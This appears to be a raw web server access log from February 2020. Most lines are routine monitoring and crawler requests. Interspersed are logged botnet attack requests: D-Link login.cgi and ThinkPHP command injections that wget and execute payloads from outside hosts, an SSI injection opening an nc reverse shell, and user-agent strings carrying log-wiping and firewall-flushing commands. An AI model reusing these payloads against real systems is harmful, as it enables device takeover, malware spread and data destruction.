169.197.108.38 - - [20/Feb/2020:21:28:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:21:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
105.216.44.98 - - [20/Feb/2020:21:33:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:21:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.136.157.215 - - [20/Feb/2020:21:33:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:21:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.15.182.41 - - [20/Feb/2020:21:39:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [20/Feb/2020:21:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [20/Feb/2020:21:43:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:21:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.234.208.66 - - [20/Feb/2020:21:48:05 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)"
3.234.208.66 - - [20/Feb/2020:21:48:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)"
212.91.246.72 - - [20/Feb/2020:21:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.192.235 - - [20/Feb/2020:21:48:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
31.7.147.15 - - [20/Feb/2020:21:49:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [20/Feb/2020:21:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.1.174.212 - - [20/Feb/2020:22:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
66.240.205.34 - - [20/Feb/2020:22:03:05 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [20/Feb/2020:22:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.165.149.116 - - [20/Feb/2020:22:04:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:22:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.94.228 - - [20/Feb/2020:22:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:22:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [20/Feb/2020:22:08:17 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [20/Feb/2020:22:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.175.121.33 - - [20/Feb/2020:22:13:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:22:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.127.32.165 - - [20/Feb/2020:22:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
171.104.165.3 - - [20/Feb/2020:22:24:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:22:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [20/Feb/2020:22:29:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [20/Feb/2020:22:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.130.103.67 - - [20/Feb/2020:22:29:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [20/Feb/2020:22:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.63 - - [20/Feb/2020:22:30:33 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.150.88 - - [20/Feb/2020:22:30:34 +0100] "GET /seiten/kraftverkehr.htm HTTP/1.1" 404 340 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [20/Feb/2020:22:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.174.138 - - [20/Feb/2020:22:37:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:22:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [20/Feb/2020:22:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:22:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [20/Feb/2020:22:39:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [20/Feb/2020:22:39:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [20/Feb/2020:22:39:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [20/Feb/2020:22:40:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [20/Feb/2020:22:40:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:22:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.132.12.99 - - [20/Feb/2020:22:40:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [20/Feb/2020:22:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.130.103.67 - - [20/Feb/2020:22:45:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [20/Feb/2020:22:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.51.56.51 - - [20/Feb/2020:22:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:22:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:22:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.9.94.207 - - [20/Feb/2020:23:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [20/Feb/2020:23:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.143.94 - - [20/Feb/2020:23:16:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:23:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:23:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
